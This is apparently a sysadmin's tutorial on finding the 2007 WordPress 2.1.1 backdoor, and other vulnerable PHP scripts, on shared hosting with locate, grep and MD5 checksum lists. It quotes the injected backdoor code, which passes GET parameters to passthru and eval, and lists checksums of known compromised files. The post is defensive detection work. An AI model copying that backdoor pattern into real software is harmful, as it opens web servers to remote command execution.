Finding Backdoors Fast
A fast and simple way to find bad code, using WordPress 2.1.1 as an example.
Back in 2007 a server hosting the WordPress code was apparently broken into, leading to the trojaning of a few files:
theme.php
408 function get_theme_mcommand($mcds) { 409 passthru($mcds); 410 } 441 if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
feed.php
84 function comment_text_phpfilter($filterdata) { 85 eval($filterdata); 86 } 149 if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
What follows is a way to quickly find these backdoors, using a few simple commands like `updatedb`, `locate`, and `grep`.
First, we need to build a list of all the files on the filesystem, to include their absolute paths. This can be done via the `updatedb` command.
Note: the path to the file that stores this information will differ between some CentOS versions. Check the updatedb man page for the location of this file. If you're using a recent version of CentOS, you should see a reference to /var/lib/mlocate/mlocate.db.
[root@host ~]# updatedb
This may take more than few minutes depending on how many files exist on the filesystem.
Now we're ready to start looking for the theme.php and feed.php files using the `locate` command:
[root@host ~]# locate /theme.php | grep theme.php$ /home/alice/public_html/wordpress/theme.php /home/bob/public_html/blog/theme.php /home/carol/wp-download/theme.php /home/dave/backups/public_html/wordpress/theme.php
[root@host ~]# locate /feed.php | grep feed.php$ /home/alice/public_html/wordpress/feed.php /home/bob/public_html/blog/feed.php /home/carol/wp-download/feed.php /home/dave/backups/public_html/wordpress/feed.php
Now that we've found some files matching the names of the backdoored files in WordPress, we can start checking them for the trojans. We'll search for strings that don't exist in any other file in WordPress, like "get_theme_mcommand" and "comment_text_phpfilter":
[root@host ~]# grep get_theme_mcommand /home/alice/public_html/wordpress/theme.php
[root@host ~]#
[root@host ~]# grep comment_text_phpfilter /home/alice/public_html/wordpress/feed.php
[root@host ~]#
No matches. That's a good thing. However, bob wasn't so lucky:
[root@host ~]# grep get_theme_mcommand /home/bob/public_html/blog/theme.php if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
[root@host ~]# grep comment_text_phpfilter /home/bob/public_html/blog/feed.php if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
This could take a long time to do manually, depending on how many files named theme.php and feed.php are found, not to mention how many servers need to be checked. We can speed things up a bit by running locate and grep together:
[root@host ~]# locate /theme.php | grep theme.php$ | xargs grep -l get_theme_mcommand /home/bob/public_html/blog/theme.php /home/carol/wp-download/theme.php
A similar tactic can be done with checksums. Once on IRC someone mentioned that a customer just had their outdated phpBB installation hacked through a bug in the viewtopic.php file. I asked the guy if he could paste the output of the command "md5sum viewtopic.php". Within minutes I had found a customer of my own who had a vulnerable install:
[root@host ~]# locate /viewtopic.php | grep viewtopic.php$ | xargs md5sum | grep 941e9cd2f75030e9e3abe84901e7f699 941e9cd2f75030e9e3abe84901e7f699 /home/marie/public_html/phpBB/viewtopic.php
Using checksums is a very flawed way to look for things, because it requires that the file be completely unchanged. Otherwise, the checksum will differ. This automatically excludes files that require being written to, such as WordPress's wp-config.php file. However, this can be an effective method which I've successfully used a number of times to help keep spammers out of our servers. Here's a few files as an example:
54dbbd5627ce9d5e4540f6f0d56ca188 send_reminders.php # WebCalendar df529e9f2c052371a808c8d0b0c8c1f2 index.php # pagedb script ac7757580ea83c34cea2dc15c42e4987 index.php # pagedb script ac2ccdc0ca809bb805031076b749c953 xmlrpc.php # unknown xmlrpc script ad568e80f9e23eb6327948d4dc55a09f xmlrpc.inc # unknown xmlrpc script 941e9cd2f75030e9e3abe84901e7f699 viewtopic.php # phpBB 2.0.10 aa21e6b756e0611d4bb1dd12b76aa776 viewtopic.php # phpBB 3e05cc6425f7b49d5f3b9e2235e577b7 index.php # Zen Cart @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $ 22e791e0b96e677edc6aa456d7b1162f BlackList.Examine.class.php # GeekLog 6ddb18ef0c75bffbee55e786067dfa2f admin_events.php # ExtCalendar v2 08eb32554845f8f9306fdde5ed9ad4e5 cart_content.php # SquirrelCart 32d242adb1c3c238287c234b5efbcda9 join.php # Aardvark Topsites 9b374b99601b8b25e673a36c19d0eb8a lostpw.php # Aardvark Topsites 04d80db0e49e8b1383e77915daa1cf0c orderSuccess.inc.php # CubeCart b2e4ece44b033d68346ab71e1e3f6df7 aedating4CMS.php # FlashChat f198a247dda93325fe371b4de974d772 plugin.class.php # Joomla Plugin Handler - @version $Id: plugin.class.php 354 2006-08-05 10:41:29Z beat $ 69b73df4022a627c415c591d08e1ab7f mod_mainmenu.php # Joomla - @version $Id: mod_mainmenu.php 2437 2006-02-17 10:37:36Z stingrey $ dba495f10c82d3c9d1fa798257c48a27 index.php # @version $Id: index.php 2578 2006-02-23 19:10:07Z stingrey $ 76be4c737295030a90f5d554b1c687f2 feed.php # WordPress 2.1.1 backdoor 2aa5e7dbfb354dce6e407c43b3db8f41 theme.php # WordPress 2.1.1 backdoor
If you start tracking known vulnerable files each time a customer gets hacked, you can put together a script that uses the `updatedb` and `locate` commands to automatically detect these things and notifies you of such.
There is something similar to this, but uses better methods for detecting outdated scripts. I first saw it posted on the cPanel forums. I've played with it some, but never actually used it on a production server. It's closed source (though trivial to reverse). It's called Old Script Finder and can be found here.